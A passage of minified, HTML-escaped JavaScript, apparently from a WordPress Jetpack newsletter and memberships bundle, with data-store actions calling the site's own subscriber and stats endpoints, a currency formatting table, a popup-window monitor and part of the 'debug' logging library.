r=t.select(a.store).getCurrentPostId();s((0,p.setConnectUrl)((0,d.A)(r,e.connect_url))),s((0,p.setSiteSlug)(e.site_slug)),s((0,p.setProducts)(e.products)),s((0,p.setConnectedAccountDefaultCurrency)(e.connected_account_default_currency)),s((0,p.setApiState)(e.connected_account_id?h.JA:h.gI))})(u,l,n),(e=&gt;!e.products.length&amp;&amp;e.connected_account_id)(u)&amp;&amp;await(async(e,t,s,r)=&gt;{await s((0,p.saveProduct)({title:(0,c.W)(&quot;default new product title&quot;,e),currency:&quot;USD&quot;,price:5,interval:&quot;1 month&quot;},e,t,()=&gt;{},r))})(e,s,n,r),x(t,s,f),y=!0}catch(e){n((0,p.setConnectUrl)(null)),n((0,p.setApiState)(h.gI)),(0,m.S)(e.message,l)}finally{u.A.release(b)}},_=()=&gt;async({dispatch:e,registry:t})=&gt;{await u.A.blockExecution(f);const s=u.A.acquire(f);try{const t=await(async()=&gt;{const e=await o()({path:(0,i.addQueryArgs)(&quot;/wpcom/v2/subscribers/counts&quot;,{subscriber_status:&quot;active&quot;,subscription_status:&quot;active&quot;})});if(!e||&quot;object&quot;!=typeof e)throw new Error(&quot;Unexpected API response&quot;);const t=e?.errors&amp;&amp;Object.values(e.errors)?.[0]?.[0];if(t)throw new Error(t);return e})();e((0,p.setSubscriberCounts)({totalSubscribers:t.counts.total_subscribers,socialFollowers:t.counts.social_followers,emailSubscribers:t.counts.email_subscribers,paidSubscribers:t.counts.paid_subscribers}))}catch(s){e((0,p.setApiState)(h.gI)),(0,m.S)(s.message,t)}finally{u.A.release(s)}},C=(e,t)=&gt;async({dispatch:s})=&gt;{await u.A.blockExecution(b);const n=u.A.acquire(b);try{const n=await(async(e,t)=&gt;{if(!e||!t)return;const s=(0,r.isSimpleSite)()?&quot;/rest/v1.1/sites&quot;:&quot;/jetpack/v4/stats-app/sites&quot;,n=await o()({path:s+`/${e}/stats/opens/emails/${t}/rate`});if(!n||&quot;object&quot;!=typeof n)throw new Error(&quot;Unexpected API response&quot;);const a=n?.errors&amp;&amp;Object.values(n.errors)?.[0]?.[0];if(a)throw new Error(a);return n})(e,t);s((0,p.setTotalEmailsSentCount)(n?.total_sends))}catch(e){console.warn(&quot;Failed to fetch total emails sent count:&quot;,e?.message)}finally{u.A.release(n)}},A=()=&gt;async({dispatch:e,registry:t})=&gt;{await u.A.blockExecution(v);const s=u.A.acquire(v);try{const t=await(async()=&gt;{const e=await o()({path:&quot;/wpcom/v2/newsletter-categories&quot;});if(!e||&quot;object&quot;!=typeof e)throw new Error(&quot;Unexpected API response&quot;);const t=e?.errors&amp;&amp;Object.values(e.errors)?.[0]?.[0];if(t)throw new Error(t);return e})();e((0,p.setNewsletterCategories)({enabled:t.enabled,categories:t.newsletter_categories}))}catch(s){e((0,p.setApiState)(h.gI)),(0,m.S)(s.message,t)}finally{u.A.release(s)}},S=e=&gt;async({dispatch:t,registry:s})=&gt;{if(!e)return;await u.A.blockExecution(k);const r=u.A.acquire(k);try{const s=await(async e=&gt;{if(!e)return{email_sent_at:null,stats_on_send:null};const t=await o()({path:(0,i.addQueryArgs)(&quot;/wpcom/v2/newsletter-email-sent-status&quot;,{post_id:e}),method:&quot;GET&quot;});if(!t||&quot;object&quot;!=typeof t)throw new Error(&quot;Unexpected API response&quot;);const s=t?.errors&amp;&amp;Object.values(t.errors)?.[0]?.[0];if(s)throw new Error(s);return t})(e);t((0,p.setPostEmailSentState)(e,{email_sent_at:s.email_sent_at??null,stats_on_send:s.stats_on_send??null}))}catch(e){(0,m.S)(e.message,s)}finally{u.A.release(r)}}},92955(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{getAlreadySentPostModifiedInSession:()=&gt;j,getApiState:()=&gt;n,getConnectUrl:()=&gt;o,getConnectedAccountDefaultCurrency:()=&gt;a,getNewsletterCategories:()=&gt;v,getNewsletterCategoriesEnabled:()=&gt;k,getNewsletterTierProducts:()=&gt;d,getPostEmailSentState:()=&gt;x,getProduct:()=&gt;c,getProducts:()=&gt;i,getProductsNoResolver:()=&gt;l,getPublishedWithEmailEnabledInSession:()=&gt;w,getSelectedProducts:()=&gt;u,getSiteSlug:()=&gt;p,getSubscriberCounts:()=&gt;f,getTotalEmailsSentCount:()=&gt;b,hasInvalidProducts:()=&gt;_,isApiStateConnected:()=&gt;h,isApiStateLoading:()=&gt;m,isInvalidProduct:()=&gt;g});var r=s(3696);const n=e=&gt;e.apiState,o=e=&gt;e.connectUrl,a=e=&gt;e.connectedAccountDefaultCurrency,i=e=&gt;e.products,l=e=&gt;i(e),c=(e,t)=&gt;i(e).find(e=&gt;e.id===t),u=(e,t)=&gt;i(e).filter(e=&gt;t.includes(e.id)),d=e=&gt;e.products.filter(e=&gt;e.type===r.ky),p=e=&gt;e.siteSlug,h=e=&gt;e.apiState===r.JA,m=e=&gt;e.apiState===r.an,g=(e,t)=&gt;!!t&amp;&amp;!c(e,t),f=e=&gt;e.subscriberCounts,b=e=&gt;e.totalEmailsSentCount,v=e=&gt;e.newsletterCategories.categories,k=e=&gt;e.newsletterCategories.enabled,y={email_sent_at:null,stats_on_send:null},x=(e,t)=&gt;t?e.postEmailSentState?.[t]??y:y,j=(e,t)=&gt;!(!e.alreadySentPostModifiedInSession||!e.alreadySentPostModifiedInSession[t]),w=(e,t)=&gt;!(!e.publishedWithEmailEnabledInSession||!e.publishedWithEmailEnabledInSession[t]),_=(e,t)=&gt;!!t&amp;&amp;t.some(t=&gt;g(e,t))},34884(e,t,s){&quot;use strict&quot;;s.d(t,{L:()=&gt;o,S:()=&gt;n});var r=s(692);const n=(e,t)=&gt;t.dispatch(r.store).createErrorNotice(e,{type:&quot;snackbar&quot;}),o=(e,t)=&gt;t.dispatch(r.store).createSuccessNotice(e,{type:&quot;snackbar&quot;})},3975(e,t,s){&quot;use strict&quot;;s.d(t,{i:()=&gt;n,y:()=&gt;r});const r={AED:{symbol:&quot;د.إ.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},AFN:{symbol:&quot;؋&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},ALL:{symbol:&quot;Lek&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},AMD:{symbol:&quot;֏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},ANG:{symbol:&quot;ƒ&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},AOA:{symbol:&quot;Kz&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},ARS:{symbol:&quot;$&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},AUD:{symbol:&quot;A$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},AWG:{symbol:&quot;ƒ&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},AZN:{symbol:&quot;₼&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},BAM:{symbol:&quot;КМ&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},BBD:{symbol:&quot;Bds$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},BDT:{symbol:&quot;৳&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},BGN:{symbol:&quot;лв.&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},BHD:{symbol:&quot;د.ب.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:3},BIF:{symbol:&quot;FBu&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},BMD:{symbol:&quot;$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},BND:{symbol:&quot;$&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:0},BOB:{symbol:&quot;Bs&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},BRL:{symbol:&quot;R$&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},BSD:{symbol:&quot;$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},BTC:{symbol:&quot;Ƀ&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},BTN:{symbol:&quot;Nu.&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:1},BWP:{symbol:&quot;P&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},BYR:{symbol:&quot;р.&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},BZD:{symbol:&quot;BZ$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},CAD:{symbol:&quot;C$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},CDF:{symbol:&quot;FC&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},CHF:{symbol:&quot;CHF&quot;,grouping:&quot;&#039;&quot;,decimal:&quot;.&quot;,precision:2},CLP:{symbol:&quot;$&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},CNY:{symbol:&quot;¥&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},COP:{symbol:&quot;$&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},CRC:{symbol:&quot;₡&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},CUC:{symbol:&quot;CUC&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},CUP:{symbol:&quot;$MN&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},CVE:{symbol:&quot;$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},CZK:{symbol:&quot;Kč&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},DJF:{symbol:&quot;Fdj&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},DKK:{symbol:&quot;kr.&quot;,grouping:&quot;&quot;,decimal:&quot;,&quot;,precision:2},DOP:{symbol:&quot;RD$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},DZD:{symbol:&quot;د.ج.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},EGP:{symbol:&quot;ج.م.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},ERN:{symbol:&quot;Nfk&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},ETB:{symbol:&quot;ETB&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},EUR:{symbol:&quot;€&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},FJD:{symbol:&quot;FJ$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},FKP:{symbol:&quot;£&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},GBP:{symbol:&quot;£&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},GEL:{symbol:&quot;Lari&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},GHS:{symbol:&quot;₵&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},GIP:{symbol:&quot;£&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},GMD:{symbol:&quot;D&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},GNF:{symbol:&quot;FG&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},GTQ:{symbol:&quot;Q&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},GYD:{symbol:&quot;G$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},HKD:{symbol:&quot;HK$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},HNL:{symbol:&quot;L.&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},HRK:{symbol:&quot;kn&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},HTG:{symbol:&quot;G&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},HUF:{symbol:&quot;Ft&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:0},IDR:{symbol:&quot;Rp&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:0},ILS:{symbol:&quot;₪&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},INR:{symbol:&quot;₹&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},IQD:{symbol:&quot;د.ع.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},IRR:{symbol:&quot;﷼&quot;,grouping:&quot;,&quot;,decimal:&quot;/&quot;,precision:2},ISK:{symbol:&quot;kr.&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:0},JMD:{symbol:&quot;J$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},JOD:{symbol:&quot;د.ا.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:3},JPY:{symbol:&quot;¥&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},KES:{symbol:&quot;S&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},KGS:{symbol:&quot;сом&quot;,grouping:&quot; &quot;,decimal:&quot;-&quot;,precision:2},KHR:{symbol:&quot;៛&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},KMF:{symbol:&quot;CF&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},KPW:{symbol:&quot;₩&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},KRW:{symbol:&quot;₩&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},KWD:{symbol:&quot;د.ك.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:3},KYD:{symbol:&quot;$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},KZT:{symbol:&quot;₸&quot;,grouping:&quot; &quot;,decimal:&quot;-&quot;,precision:2},LAK:{symbol:&quot;₭&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},LBP:{symbol:&quot;ل.ل.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},LKR:{symbol:&quot;₨&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},LRD:{symbol:&quot;L$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},LSL:{symbol:&quot;M&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},LYD:{symbol:&quot;د.ل.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:3},MAD:{symbol:&quot;د.م.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MDL:{symbol:&quot;lei&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MGA:{symbol:&quot;Ar&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},MKD:{symbol:&quot;ден.&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},MMK:{symbol:&quot;K&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MNT:{symbol:&quot;₮&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},MOP:{symbol:&quot;MOP$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MRO:{symbol:&quot;UM&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MTL:{symbol:&quot;₤&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MUR:{symbol:&quot;₨&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MVR:{symbol:&quot;MVR&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:1},MWK:{symbol:&quot;MK&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MXN:{symbol:&quot;MX$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MYR:{symbol:&quot;RM&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},MZN:{symbol:&quot;MT&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},NAD:{symbol:&quot;N$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},NGN:{symbol:&quot;₦&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},NIO:{symbol:&quot;C$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},NOK:{symbol:&quot;kr&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},NPR:{symbol:&quot;₨&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},NZD:{symbol:&quot;NZ$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},OMR:{symbol:&quot;﷼&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:3},PAB:{symbol:&quot;B/.&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},PEN:{symbol:&quot;S/.&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},PGK:{symbol:&quot;K&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},PHP:{symbol:&quot;₱&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},PKR:{symbol:&quot;₨&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},PLN:{symbol:&quot;zł&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},PYG:{symbol:&quot;₲&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},QAR:{symbol:&quot;﷼&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},RON:{symbol:&quot;lei&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},RSD:{symbol:&quot;Дин.&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},RUB:{symbol:&quot;₽&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},RWF:{symbol:&quot;RWF&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},SAR:{symbol:&quot;﷼&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SBD:{symbol:&quot;S$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SCR:{symbol:&quot;₨&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SDD:{symbol:&quot;LSd&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SDG:{symbol:&quot;£‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SEK:{symbol:&quot;kr&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SGD:{symbol:&quot;S$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SHP:{symbol:&quot;£&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SLL:{symbol:&quot;Le&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SOS:{symbol:&quot;S&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SRD:{symbol:&quot;$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},STD:{symbol:&quot;Db&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SVC:{symbol:&quot;₡&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SYP:{symbol:&quot;£&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},SZL:{symbol:&quot;E&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},THB:{symbol:&quot;฿&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},TJS:{symbol:&quot;TJS&quot;,grouping:&quot; &quot;,decimal:&quot;;&quot;,precision:2},TMT:{symbol:&quot;m&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:0},TND:{symbol:&quot;د.ت.‏&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:3},TOP:{symbol:&quot;T$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},TRY:{symbol:&quot;TL&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},TTD:{symbol:&quot;TT$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},TVD:{symbol:&quot;$T&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},TWD:{symbol:&quot;NT$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},TZS:{symbol:&quot;TSh&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},UAH:{symbol:&quot;₴&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},UGX:{symbol:&quot;USh&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},USD:{symbol:&quot;$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},UYU:{symbol:&quot;$U&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},UZS:{symbol:&quot;сўм&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},VEB:{symbol:&quot;Bs.&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},VEF:{symbol:&quot;Bs. F.&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:2},VND:{symbol:&quot;₫&quot;,grouping:&quot;.&quot;,decimal:&quot;,&quot;,precision:1},VUV:{symbol:&quot;VT&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:0},WST:{symbol:&quot;WS$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},XAF:{symbol:&quot;F&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},XCD:{symbol:&quot;$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},XOF:{symbol:&quot;F&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},XPF:{symbol:&quot;F&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},YER:{symbol:&quot;﷼&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},ZAR:{symbol:&quot;R&quot;,grouping:&quot; &quot;,decimal:&quot;,&quot;,precision:2},ZMW:{symbol:&quot;ZK&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2},WON:{symbol:&quot;₩&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2}};function n(e){return r[e]||{symbol:&quot;$&quot;,grouping:&quot;,&quot;,decimal:&quot;.&quot;,precision:2}}},4567(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;o});var r=s(3975),n=s(18360);function o(e,t,s={}){const o=(0,r.i)(t);if(!o||isNaN(e))return null;const{decimal:a,grouping:i,precision:l,symbol:c}={...o,...s},u=e&lt;0?&quot;-&quot;:&quot;&quot;;let d=(0,n.A)(Math.abs(e),l,a,i);return s.stripZeros&amp;&amp;(d=function(e,t){const s=new RegExp(`\\${t}0+$`);return e.replace(s,&quot;&quot;)}(d,a)),`${u}${c}${d}`}},18360(e,t,s){&quot;use strict&quot;;function r(e,t=0,s=&quot;.&quot;,r=&quot;,&quot;){const n=(e+&quot;&quot;).replace(/[^0-9+\-Ee.]/g,&quot;&quot;),o=isFinite(+n)?+n:0,a=isFinite(+t)?Math.abs(t):0,i=(a?function(e,t){const s=Math.pow(10,t);return&quot;&quot;+(Math.round(e*s)/s).toFixed(t)}(o,a):&quot;&quot;+Math.round(o)).split(&quot;.&quot;);return i[0].length&gt;3&amp;&amp;(i[0]=i[0].replace(/\B(?=(?:\d{3})+(?!\d))/g,r)),(i[1]||&quot;&quot;).length&lt;a&amp;&amp;(i[1]=i[1]||&quot;&quot;,i[1]+=new Array(a-i[1].length+1).join(&quot;0&quot;)),i.join(s)}s.d(t,{A:()=&gt;r})},51119(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r,n=s(2467);function o(){this.intervals={},this.monitorInterval=null,this.windowInstance=null,this.onMessage=e=&gt;{e.source===this.windowInstance&amp;&amp;this.emit(&quot;message&quot;,e.data)}}r=o.prototype,Object.assign(r,n.EventEmitter.prototype),r.emitChange=function(){this.emit(&quot;change&quot;)},r.off=r.removeListener,o.prototype.open=function(e,t,s){return t=t||Date.now(),this.windowInstance=window.open(e,t,s),this.startMonitoring(t,this.windowInstance),window.addEventListener(&quot;message&quot;,this.onMessage,!1),this},o.prototype.getScreenCenterSpecs=function(e,t){const s=void 0!==window.screenTop?window.screenTop:window.screenY,r=void 0!==window.screenLeft?window.screenLeft:window.screenX;return[&quot;width=&quot;+e,&quot;height=&quot;+t,&quot;top=&quot;+(s+window.innerHeight/2-t/2),&quot;left=&quot;+(r+window.innerWidth/2-e/2)].join()},o.prototype.isOpen=function(e){let t=!1;try{t=this.intervals[e]&amp;&amp;this.intervals[e].closed}catch(e){}return!t},o.prototype.checkStatus=function(){for(const e in this.intervals)this.intervals.hasOwnProperty(e)&amp;&amp;!this.isOpen(e)&amp;&amp;(this.emit(&quot;close&quot;,e),delete this.intervals[e]);0===Object.keys(this.intervals).length&amp;&amp;(clearInterval(this.monitorInterval),delete this.monitorInterval,window.removeEventListener(&quot;message&quot;,this.onMessage))},o.prototype.startMonitoring=function(e,t){this.monitorInterval||(this.monitorInterval=setInterval(this.checkStatus.bind(this),100)),this.intervals[e]=t};const a=o},10067(e,t,s){t.formatArgs=function(t){if(t[0]=(this.useColors?&quot;%c&quot;:&quot;&quot;)+this.namespace+(this.useColors?&quot; %c&quot;:&quot; &quot;)+t[0]+(this.useColors?&quot;%c &quot;:&quot; &quot;)+&quot;+&quot;+e.exports.humanize(this.diff),!this.useColors)return;const s=&quot;color: &quot;+this.color;t.splice(1,0,s,&quot;color: inherit&quot;);let r=0,n=0;t[0].replace(/%[a-zA-Z%]/g,e=&gt;{&quot;%%&quot;!==e&amp;&amp;(r++,&quot;%c&quot;===e&amp;&amp;(n=r))}),t.splice(n,0,s)},t.save=function(e){try{e?t.storage.setItem(&quot;debug&quot;,e):t.storage.removeItem(&quot;debug&quot;)}catch(e){}},t.load=function(){let e;try{e=t.storage.getItem(&quot;debug&quot;)||t.storage.getItem(&quot;DEBUG&quot;)}catch(e){}!e&amp;&amp;&quot;undefined&quot;!=typeof process&amp;&amp;&quot;env&quot;in process&amp;&amp;(e=process.env.DEBUG);return e},t.useColors=function(){if(&quot;undefined&quot;!=typeof window&amp;&amp;window.process&amp;&amp;(&quot;renderer&quot;===window.process.type||window.process.__nwjs))return!0;if(&quot;undefined&quot;!=typeof navigator&amp;&amp;navigator.userAgent&amp;&amp;navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/))return!1;let e;return&quot;undefined&quot;!=typeof document&amp;&amp;document.documentElement&amp;&amp;document.documentElement.style&amp;&amp;document.documentElement.style.WebkitAppearance||&quot;undefined&quot;!=typeof window&amp;&amp;window.console&amp;&amp;(window.console.firebug||window.console.exception&amp;&amp;window.console.table)||&quot;undefined&quot;!=typeof navigator&amp;&amp;navigator.userAgent&amp;&amp;(e=navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/))&amp;&amp;parseInt(e[1],10)&gt;=31||&quot;undefined&quot;!=typeof navigator&amp;&amp;navigator.userAgent&amp;&amp;navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/)},t.storage=function(){try{return localStorage}catch(e){}}(),t.destroy=(()=&gt;{let e=!1;return()=&gt;{e||(e=!0,console.warn(&quot;Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.&quot;))}})(),t.colors=[&quot;#0000CC&quot;,&quot;#0000FF&quot;,&quot;#0033CC&quot;,&quot;#0033FF&quot;,&quot;#0066CC&quot;,&quot;#0066FF&quot;,&quot;#0099CC&quot;,&quot;#0099FF&quot;,&quot;#00CC00&quot;,&quot;#00CC33&quot;,&quot;#00CC66&quot;,&quot;#00CC99&quot;,&quot;#00CCCC&quot;,&quot;#00CCFF&quot;,&quot;#3300CC&quot;,&quot;#3300FF&quot;,&quot;#3333CC&quot;,&quot;#3333FF&quot;,&quot;#3366CC&quot;,&quot;#3366FF&quot;,&quot;#3399CC&quot;,&quot;#3399FF&quot;,&quot;#33CC00&quot;,&quot;#33CC33&quot;,&quot;#33CC66&quot;,&quot;#33CC99&quot;,&quot;#33CCCC&quot;,&quot;#33CCFF&quot;,&quot;#6600CC&quot;,&quot;#6600FF&quot;,&quot;#6633CC&quot;,&quot;#6633FF&quot;,&quot;#66CC00&quot;,&quot;#66CC33&quot;,&quot;#9900CC&quot;,&quot;#9900FF&quot;,&quot;#9933CC&quot;,&quot;#9933FF&quot;,&quot;#99CC00&quot;,&quot;#99CC33&quot;,&quot;#CC0000&quot;,&quot;#CC0033&quot;,&quot;#CC0066&quot;,&quot;#CC0099&quot;,&quot;#CC00CC&quot;,&quot;#CC00FF&quot;,&quot;#CC3300&quot;,&quot;#CC3333&quot;,&quot;#CC3366&quot;,&quot;#CC3399&quot;,&quot;#CC33CC&quot;,&quot;#CC33FF&quot;,&quot;#CC6600&quot;,&quot;#CC6633&quot;,&quot;#CC9900&quot;,&quot;#CC9933&quot;,&quot;#CCCC00&quot;,&quot;#CCCC33&quot;,&quot;#